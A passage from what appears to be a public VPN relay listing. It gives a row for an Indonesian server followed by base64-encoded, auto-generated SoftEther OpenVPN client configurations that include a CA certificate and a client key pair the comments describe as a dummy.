zc2FyeSB0byBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgSXQgaXMgbm90IHJlY29tbWVuZGVkIHRvIG1vZGlmeSBpdCB1bmxlc3MgeW91IGhhdmUgYSBwYXJ0aWN1bGFyIG5lZWQuDQoNCnJlc29sdi1yZXRyeSBpbmZpbml0ZQ0Kbm9iaW5kDQpwZXJzaXN0LWtleQ0KcGVyc2lzdC10dW4NCmNsaWVudA0KdmVyYiAzDQojYXV0aC11c2VyLXBhc3MNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjZXJ0aWZpY2F0ZSBmaWxlIG9mIHRoZSBkZXN0aW5hdGlvbiBWUE4gU2VydmVyLg0KIyANCiMgVGhlIENBIGNlcnRpZmljYXRlIGZpbGUgaXMgZW1iZWRkZWQgaW4gdGhlIGlubGluZSBmb3JtYXQuDQojIFlvdSBjYW4gcmVwbGFjZSB0aGlzIENBIGNvbnRlbnRzIGlmIG5lY2Vzc2FyeS4NCiMgUGxlYXNlIG5vdGUgdGhhdCBpZiB0aGUgc2VydmVyIGNlcnRpZmljYXRlIGlzIG5vdCBhIHNlbGYtc2lnbmVkLCB5b3UgaGF2ZSB0bw0KIyBzcGVjaWZ5IHRoZSBzaWduZXIncyByb290IGNlcnRpZmljYXRlIChDQSkgaGVyZS4NCg0KPGNhPg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlGYXpDQ0ExT2dBd0lCQWdJUkFJSVF6N0RTUU9OWlJHUGd1Mk9DaXdBd0RRWUpLb1pJaHZjTkFRRUxCUUF3DQpUekVMTUFrR0ExVUVCaE1DVlZNeEtUQW5CZ05WQkFvVElFbHVkR1Z5Ym1WMElGTmxZM1Z5YVhSNUlGSmxjMlZoDQpjbU5vSUVkeWIzVndNUlV3RXdZRFZRUURFd3hKVTFKSElGSnZiM1FnV0RFd0hoY05NVFV3TmpBME1URXdORE00DQpXaGNOTXpVd05qQTBNVEV3TkRNNFdqQlBNUXN3Q1FZRFZRUUdFd0pWVXpFcE1DY0dBMVVFQ2hNZ1NXNTBaWEp1DQpaWFFnVTJWamRYSnBkSGtnVW1WelpXRnlZMmdnUjNKdmRYQXhGVEFUQmdOVkJBTVRERWxUVWtjZ1VtOXZkQ0JZDQpNVENDQWlJd0RRWUpLb1pJaHZjTkFRRUJCUUFEZ2dJUEFEQ0NBZ29DZ2dJQkFLM29KSFAwRkRmem01NHJWeWdjDQpoNzdjdDk4NGtJeHVQT1pYb0hqM2RjS2kvdlZxYnZZQVR5amIzbWlHYkVTVHRyRmovUlFTYTc4ZjB1b3hteUYrDQowVE04dWtqMTNYbmZzN2ovRXZFaG1rdkJpb1p4YVVwbVpteVBmanh3djYwcElnYno1TURtZ0s3aVM0KzNtWDZVDQpBNS9UUjVkOG1VZ2pVK2c0cms4S2I0TXUwVWxYaklCMHR0b3YwRGlOZXdOd0lSdDE4akE4K28rdTNkcGpxK3NXDQpUOEtPRVV0K3p3dm8vN1YzTHZTeWUwcmdUQklsREhDTkF5bWc0Vk1rN0JQWjdobS9FTE5LakQrSm8yRlIzcXlIDQpCNVQwWTNIc0x1SnZXNWlCNFlsY05IbHNkdTg3a0dKNTV0dWttaThteGRBUTRRN2UyUkNPRnZ1Mzk2ajN4K1VDDQpCNWlQTmdpVjUrSTNsZzAyZFo3N0RuS3hIWnU4QS9sSkJkaUIzUVcwS3RaQjZhd0JkcFVLRDlqZjFiMFNIelV2DQpLQmRzMHBqQnFBbGtkMjVITjdyT3JGbGVhSjEvY3RhSnhRWkJLVDVaUHQwbTlTVEpFYWRhbzB4QUgwYWhtYlduDQpPbEZ1aGp1ZWZYS25FZ1Y0V2UwK1VYZ1ZDd09QamRBdkJiSStlMG9jUzNNRkV2ekc2dUJRRTN4RGszU3p5blRuDQpqaDhCQ05BdzFGdHhOclFIdXNFd01GeEl0NEk3bUtaOVlJcWlveW1DekxxOWd3UWJvb01EUWFIV0JmRWJ3cmJ3DQpxSHlHTzBhb1NDcUkzSGFhZHI4ZmFxVTlHWS9yT1BOazNzZ3JEUW9vLy9mYjRoVkMxQ0xRSjEzaGVmNFk1M0NJDQpyVTdtMllzNnh0MG5VVzcvdkdUMU0wTlBBZ01CQUFHalFqQkFNQTRHQTFVZER3RUIvd1FFQXdJQkJqQVBCZ05WDQpIUk1CQWY4RUJUQURBUUgvTUIwR0ExVWREZ1FXQkJSNXRGbm1lN2JsNUFGemdBaUl5QnBZOXVtYmJqQU5CZ2txDQpoa2lHOXcwQkFRc0ZBQU9DQWdFQVZSOVlxYnl5cUZEUURMSFlHbWtnSnlrSXJHRjFYSXB1K0lMbGFTL1Y5bFpMDQp1Ymh6RUZuVElaZCs1MHh4KzdMU1lLMDVxQXZxRnlGV2hmRlFEbG5yenVCWjZickpGZStHblkrRWdQYms2WkdRDQozQmViWWh0RjhHYVYwbnh2d3VvNzd4L1B5OWF1Si9HcHNNaXUvWDErbXZvaUJPdi8yWC9xa1NzaXNSY09qL0tLDQpORnRZMlB3QnlWUzV1Q2JNaW9nemlVd3RoRHlDMys2V1Z3VzZMTHYzeExmSFRqdUN2akhJSW5Oemt0SENnS1E1DQpPUkF6STRKTVBKK0dzbFdZSGI0cGhvd2ltNTdpYXp0WE9vSndUZHdKeDRuTENnZE5iT2hkanNudnpxdkh1N1VyDQpUa1hXU3RBbXpPVnl5Z2hxcFpYakZhSDNwTzNKTEYrbCsvK3NLQUl1dnRkN3UrTnhlNUFXMHdkZVJsTjhOd2RDDQpqTlBFbHB6Vm1iVXE0SlVhZ0VpdVREa0h6c3hIcEZLVks3cTQrNjNTTTFOOTVSMU5iZFdoc2NkQ2IrWkFKelZjDQpveWkzQjQzbmpUT1E1eU9mKzFDY2VXeEcxYlFWczVadWZwc01sanE0VWkwLzFsdmgrd2pDaFA0a3FLT0oycXhxDQo0Umdxc2FoRFlWdlRIOXc3alhieUxlaU5kZDhYTTJ3OVUvdDd5MEZmLzl5aTBHRTQ0WmE0ckYyTE45ZDExVFBBDQptUkd1blVIQmNuV0V2Z0pCUWw5bkpFaVUwWnNudmdjL3ViaFBnWFJSNFhxMzdaMGo0cjdnMVNnRUV6d3hBNTdkDQplbXlQeGdjWXhuL2VSNDQvS0o0RUJzK2xWRFIzdmV5Sm0ra1hROTliMjEvK2poNVhvczFBblg1aUl0cmVHQ2M9DQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tDQoNCjwvY2E+DQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgY2xpZW50IGNlcnRpZmljYXRlIGZpbGUgKGR1bW15KS4NCiMgDQojIEluIHNvbWUgaW1wbGVtZW50YXRpb25zIG9mIE9wZW5WUE4gQ2xpZW50IHNvZnR3YXJlDQojIChmb3IgZXhhbXBsZTogT3BlblZQTiBDbGllbnQgZm9yIGlPUyksDQojIGEgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUgYW5kIHByaXZhdGUga2V5IG11c3QgYmUgaW5jbHVkZWQgb24gdGhlDQojIGNvbmZpZ3VyYXRpb24gZmlsZSBkdWUgdG8gdGhlIGxpbWl0YXRpb24gb2YgdGhlIGNsaWVudC4NCiMgU28gdGhpcyBzYW1wbGUgY29uZmlndXJhdGlvbiBmaWxlIGhhcyBhIGR1bW15IHBhaXIgb2YgY2xpZW50IGNlcnRpZmljYXRlDQojIGFuZCBwcml2YXRlIGtleSBhcyBmb2xsb3dzLg0KDQo8Y2VydD4NCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQ0KTUlJQ3hqQ0NBYTRDQVFBd0RRWUpLb1pJaHZjTkFRRUZCUUF3S1RFYU1CZ0dBMVVFQXhNUlZsQk9SMkYwWlVOcw0KYVdWdWRFTmxjblF4Q3pBSkJnTlZCQVlUQWtwUU1CNFhEVEV6TURJeE1UQXpORGswT1ZvWERUTTNNREV4T1RBeg0KTVRRd04xb3dLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zYVdWdWRFTmxjblF4Q3pBSkJnTlZCQVlUQWtwUQ0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE1aDJsZ1FRWVVqd29LWUpielZaQQ0KNVZjSUdkNW90UGMvcVpSTXQwS0l0Q0ZBMHM5UndSZU5WYTlmRFJGTFJCaGNJVE9sdjNGQmNXM0U4aDFVczdSRA0KNFc4R21KZTh6YXBKbkxzRDM5T1NNUkN6WkpuY3pXNE9DSDFQWlJaV0txRHRqbE5jYTlBRjhhNjVqVG1sRHhDUQ0KQ2pudExJV2s1T0xMVmtGdDkvdFNjYzFHRHRjaTU1b2ZoYU5BWU1QaUg3VjgrMWc2NnBHSFhBb1dLNkFRVkg2Nw0KWENLSm5HQjVubFErSHNNWVBWL080OUxkOTFaTi8ydEhrY2FMTHlOdHl3eFZQUlNzUmg0ODBqanUwZmNDc3Y2aA0KcC8weVhuVEIvL21XdXRCR3BkVWxJYndpSVRiQW1yc2JZbmppZ1J2blBxWDFSTkpVYmk5RnA2QzJjL0hJRkpHRA0KeXdJREFRQUJNQTBHQ1NxR1NJYjNEUUVCQlFVQUE0SUJBUUNoTzVoZ2N3LzRvV2ZvRUZMdTlrQmExQi8va3hIOA0KaFFrQ2hWTm44QlJDN1kwVVJRaXRQbDNES0VlZDlVUkJEZGcyS09Bejc3YmI2RU5QaWxpRCthMzhVSkhJUk1xZQ0KVUJIaGxsT0hJenZEaEhGYmFvdkFMQlFjZWVCemRrUXhzS1FFU0ttUW1SODMyOTUwVUNvdm95UkI2MVV5QVY3aA0KK21aaFlQR1JLWEtTSkk2czBFZ2cvQ3JpK0N3azRiakpmcmI1aFZzZTExeWg0RDlNSGh3U2ZDT0grMHo0aFBVVA0KRmt1N2RHYXZVUk81U1Z4TW4vc0w2RW41RCtvU2VYa2FkSHBEcytBaXJ5bTJZSGgxNWgwK2pQU09vUjZ5aVZwLw0KNnpaZVprck40M2t1UzczS3BLREZqZkZQaDh0NHIxZ09JanR0a05jUXFCY2N1c25wbFE3SEpwc2sNCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jZXJ0Pg0KDQo8a2V5Pg0KLS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQ0KTUlJRXBBSUJBQUtDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBNVZjSUdkNW90UGMvcVpSTXQwS0l0Q0ZBMHM5Ug0Kd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JENFc4R21KZTh6YXBKbkxzRDM5T1NNUkN6WkpuYw0Kelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRQ2pudExJV2s1T0xMVmtGdDkvdFNjYzFHRHRjaQ0KNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3WENLSm5HQjVubFErSHNNWVBWL080OUxkOTFaTg0KLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZocC8weVhuVEIvL21XdXRCR3BkVWxJYndpSVRiQQ0KbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEeXdJREFRQUJBb0lCQUVSVjdYNUF2eEE4dVJpSw0KazhTSXBzRDBkWDFwSk9NSXdha1VWeXZjNEVmTjBEaEtSTmI0cllvU2lFR1RMeXpMcHlCYy9BMjhEbGttNWVPWQ0KZmp6WGZZa0d0WWkvRnR4a2czTzl2Y3JNUTQrNmkrdUdIYUlMMnJMK3M0TXJmTzh2MXh2NitXa3kzM0VFR0NvdQ0KUWl3VkdSRlFYblJvUTYyTkJDRmJVTkxobVh3ZGoxYWtaekxVNHA1UjR6QTNRaGR4d0VJYXRWTHQwKzdvd0xRMw0KbFA4c2ZYaHBwUE9YalRxTUQ0UWtZd3pQQWE4L3pGN2FjbjRrcnlyVVA3UTZQQWZkMHpFVnFOeTlaQ1o5ZmZobw0KelhlZEZqNDg2SUZvYzVnblRwMk42anNuVmo0TENHSWhsVkhsWUdvektLRnFKY1FWR3NIQ3FxMW96MnpqVzZMUw0Kb1JZSUhnRUNnWUVBOHpacmtDd05ZU1hKdU9ESjNtL2hPTFZ4Y3hnSnV3WG9pRXJXZDBFNDJ2UGFuampWTWhudA0KS1k1bDhxR01KNkZoSzlMWXgycUNyZi9FMFh0VUFaMndWcTNPUlR5R25zTVdyZTl0TFlzNTVYK1pOMTBUYzc1eg0KNGhhY2JVMGhxS04xSGlEbXNNUlkzLzJOYVpIb3k3TUtud0pKQmFHNDhsOUNDVGxWd01Ib2NJRUNnWUVBOGpieQ0KZEdqeFRIKzZYSFdOaXpiNVNSYlp4QW55RWVKZVJ3VE1oMGdHendHUHBIL3NaWUd6eXUwU3lTWFdDblpoM1JncQ0KNXVMbE54dHJYcmxqWmx5aTJuUWRRZ3NxMllyV1VzMCt6Z1UrMjJ1UXNacFNBZnRtaFZydHZldDZNalZqYkJ5WQ0KREFEY2lFVlVkSllJWGsrcW5GVUp5ZXJvTElrVGo3V1lLWjZSamtzQ2dZQm9DRkl3UkRlZzQyb0s4OVJGbW5Pcg0KTHltTkFxNCsyb01oc1dsVmI0ZWpXSVdlQWs5bmMrR1hVZnJYc3pSaFMwMW1VblU1cjV5Z1V2UmNhclYvVDNVNw0KVG5NWitJN1k0RGdXUklEZDUxem5oeElCdFlWNWovQy90ODVIanFPa0grOGI2UlRrYmNoYVgzbWF1N2ZwVWZkcw0KRnEwbmhJcTQyZmhFTzhzcmZZWXdnUUtCZ1FDeWhpMU4vOHRhUndwayszL0lERXpRd2piZmR6VWtXV1NEazlYcw0KSC9wa3VSSFdmVE1QM2ZsV3FFWWdXL0xXNDBwZVcySERxNWltZFY4K0FnWnhlL1hNYmFqaTlMZ3dmMVJZMDA1bg0KS3hhWlF6N3lxSHVwV2xMR0Y2OERQSHhrWlZWU2FnRG5WL3N6dFdYNlNGc0NxRlZueElYaWZYR0M0Y1c1Tm05Zw0KdmE4cTRRS0JnUUNFaExWZVVmZHdLdmtaOTRnL0dGejczMVoyaHJkVmhnTVphVS91NnQwVjk1K1llelBOQ1FaQg0Kd21FOU1tbGJxMWVtRGVST2l2akNmb0doUjNrWlhXMXBUS2xMaDZaTVVRVU9wcHRkWHZhOFh4Zm9xUXdhM2VuQQ0KTTdtdUJiRjBYTjdWTzgwaUpQditQbUlaZEVJQWtwd0tmaTIwMVlCK0JhZkNJdUd4SUY1MFZnPT0NCi0tLS0tRU5EIFJTQSBQUklWQVRFIEtFWS0tLS0tDQoNCjwva2V5Pg0KDQo= +vpn144691275,36.72.171.127,638314,14,17463141,Indonesia,ID,40,95540195,44803,3430798621942,2weeks,Ricocow's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAzNi43Mi4xNzEuMTI3IDk5NQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIEhUVFAvSFRUUFMgcHJveHkgc2V0dGluZy4NCiMgDQojIE9ubHkgaWYgeW91IGhhdmUgdG8gdXNlIHRoZSBJbnRlcm5ldCB2aWEgYSBwcm94eSwgdW5jb21tZW50IHRoZSBiZWxvdw0KIyB0d28gbGluZXMgYW5kIHNwZWNpZnkgdGhlIHByb3h5IGFkZHJlc3MgYW5kIHRoZSBwb3J0IG51bWJlci4NCiMgSW4gdGhlIGNhc2Ugb2YgdXNpbmcgcHJveHktYXV0aGVudGljYXRpb24sIHJlZmVyIHRoZSBPcGVuVlBOIG1hbnVhbC4NCg0KO2h0dHAtcHJveHktcmV0cnkNCjtodHRwLXByb3h5IFtwcm94eSBzZXJ2ZXJdIFtwcm94eSBwb3J0XQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGVuY3J5cHRpb24gYW5kIGF1dGhlbnRpY2F0aW9uIGFsZ29yaXRobS4NCiMgDQojIERlZmF1bHQgc2V0dGluZyBpcyBnb29kLiBNb2RpZnkgaXQgYXMgeW91IHByZWZlci4NCiMgV2hlbiB5b3Ugc3BlY2lmeSBhbiB1bnN1cHBvcnRlZCBhbGdvcml0aG0sIHRoZSBlcnJvciB3aWxsIG9jY3VyLg0KIyANCiMgVGhlIHN1cHBvcnRlZCBhbGdvcml0aG1zIGFyZSBhcyBmb2xsb3dzOg0KIyAgY2lwaGVyOiBbTlVMTC1DSVBIRVJdIE5VTEwgQUVTLTEyOC1DQkMgQUVTLTE5Mi1DQkMgQUVTLTI1Ni1DQkMgQkYtQ0JDDQojICAgICAgICAgIENBU1QtQ0JDIENBU1Q1LUNCQyBERVMtQ0JDIERFUy1FREUtQ0JDIERFUy1FREUzLUNCQyBERVNYLUNCQw0KIyAgICAgICAgICBSQzItNDAtQ0JDIFJDMi02NC1DQkMgUkMyLUNCQyBDQU1FTExJQS0xMjgtQ0JDIENBTUVMTElBLTE5Mi1DQkMgQ0FNRUxMSUEtMjU2LUNCQw0KIyAgZGF0YS1jaXBoZXJzOiBzYW1lIGFzIGNpcGhlcg0KIyAgYXV0aDogICBTSEEgU0hBMSBTSEEyNTYgU0hBMzg0IFNIQTUxMiBNRDUgTUQ0IFJNRDE2MA0KIw0KIyBOb3RlOiBUbyBzb2x2ZSBPcGVuVlBOIGNvbXBhdGliaWxpdHkgYnVnDQojIFJlY2VudCB2ZXJzaW9ucyBvZiB0aGUgT3BlblZQTiBhcHAgcmVxdWlyZSBzcGVjaWZ5aW5nIHRoZSAiZGF0YS1jaXBoZXJzIg0KIyBmaWVsZCBpbnN0ZWFkIG9mIHRoZSAiY2lwaGVyIiBmaWVsZC4gSG93ZXZlciwgb2xkZXIgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwDQojIGRvIG5vdCByZWNvZ25pemUgImRhdGEtY2lwaGVycy4iIFJhdGhlciB0aGFuIGlnbm9yaW5nIGl0LCB0aGV5IHByb2R1Y2UNCiMgYSBzdGFydHVwIGVycm9yIHN0YXRpbmcgdGhhdCAibm8gc3VjaCBvcHRpb24gZXhpc3RzLiIgVGhpcyBpcyBhIGJ1Zw0KIyBpbiBPcGVuVlBOLiBJZiB5b3UgZW5jb3VudGVyIHRoaXMgaXNzdWUsIHBsZWFzZSBjb21tZW50IG91dA0KIyB0aGUgImRhdGEtY2lwaGVycyIgbGluZS4NCg0KY2lwaGVyIEFFUy0xMjgtQ0JDDQpkYXRhLWNpcGhlcnMgQUVTLTEyOC1DQkMNCmF1dGggU0hBMQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgT3RoZXIgcGFyYW1ldGVycyBuZWNlc3NhcnkgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlci4NCiMgDQojIEl0IGlzIG5vdCByZWNvbW1lbmRlZCB0byBtb2RpZnkgaXQgdW5sZXNzIHlvdSBoYXZlIGEgcGFydGljdWxhciBuZWVkLg0KDQpyZXNvbHYtcmV0cnkgaW5maW5pdGUNCm5vYmluZA0KcGVyc2lzdC1rZXkNCnBlcnNpc3QtdHVuDQpjbGllbnQNCnZlcmIgMw0KI2F1dGgtdXNlci1wYXNzDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgY2VydGlmaWNhdGUgZmlsZSBvZiB0aGUgZGVzdGluYXRpb24gVlBOIFNlcnZlci4NCiMgDQojIFRoZSBDQSBjZXJ0aWZpY2F0ZSBmaWxlIGlzIGVtYmVkZGVkIGluIHRoZSBpbmxpbmUgZm9ybWF0Lg0KIyBZb3UgY2FuIHJlcGxhY2UgdGhpcyBDQSBjb250ZW50cyBpZiBuZWNlc3NhcnkuDQojIFBsZWFzZSBub3RlIHRoYXQgaWYgdGhlIHNlcnZlciBjZXJ0aWZpY2F0ZSBpcyBub3QgYSBzZWxmLXNpZ25lZCwgeW91IGhhdmUgdG8NCiMgc3BlY2lmeSB0aGUgc2lnbmVyJ3Mgcm9vdCBjZXJ0aWZpY2F0ZSAoQ0EpIGhlcmUuDQoNCjxjYT4NCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQ0KTUlJRmF6Q0NBMU9nQXdJQkFnSVJBSUlRejdEU1FPTlpSR1BndTJPQ2l3QXdEUVlKS29aSWh2Y05BUUVMQlFBdw0KVHpFTE1Ba0dBMVVFQmhNQ1ZWTXhLVEFuQmdOVkJBb1RJRWx1ZEdWeWJtVjBJRk5sWTNWeWFYUjVJRkpsYzJWaA0KY21Ob0lFZHliM1Z3TVJVd0V3WURWUVFERXd4SlUxSkhJRkp2YjNRZ1dERXdIaGNOTVRVd05qQTBNVEV3TkRNNA0KV2hjTk16VXdOakEwTVRFd05ETTRXakJQTVFzd0NRWURWUVFHRXdKVlV6RXBNQ2NHQTFVRUNoTWdTVzUwWlhKdQ0KWlhRZ1UyVmpkWEpwZEhrZ1VtVnpaV0Z5WTJnZ1IzSnZkWEF4RlRBVEJnTlZCQU1UREVsVFVrY2dVbTl2ZENCWQ0KTVRDQ0FpSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnSVBBRENDQWdvQ2dnSUJBSzNvSkhQMEZEZnptNTRyVnlnYw0KaDc3Y3Q5ODRrSXh1UE9aWG9IajNkY0tpL3ZWcWJ2WUFUeWpiM21pR2JFU1R0ckZqL1JRU2E3OGYwdW94bXlGKw0KMFRNOHVrajEzWG5mczdqL0V2RWhta3ZCaW9aeGFVcG1abXlQZmp4d3Y2MHBJZ2J6NU1EbWdLN2lTNCszbVg2VQ0KQTUvVFI1ZDhtVWdqVStnNHJrOEtiNE11MFVsWGpJQjB0dG92MERpTmV3TndJUnQxOGpBOCtvK3UzZHBqcStzVw0KVDhLT0VVdCt6d3ZvLzdWM0x2U3llMHJnVEJJbERIQ05BeW1nNFZNazdCUFo3aG0vRUxOS2pEK0pvMkZSM3F5SA0KQjVUMFkzSHNMdUp2VzVpQjRZbGNOSGxzZHU4N2tHSjU1dHVrbWk4bXhkQVE0UTdlMlJDT0Z2dTM5NmozeCtVQw0KQjVpUE5naVY1K0kzbGcwMmRaNzdEbkt4SFp1OEEvbEpCZGlCM1FXMEt0WkI2YXdCZHBVS0Q5amYxYjBTSHpVdg0KS0JkczBwakJxQWxrZDI1SE43ck9yRmxlYUoxL2N0YUp4UVpCS1Q1WlB0MG05U1RKRWFkYW8weEFIMGFobW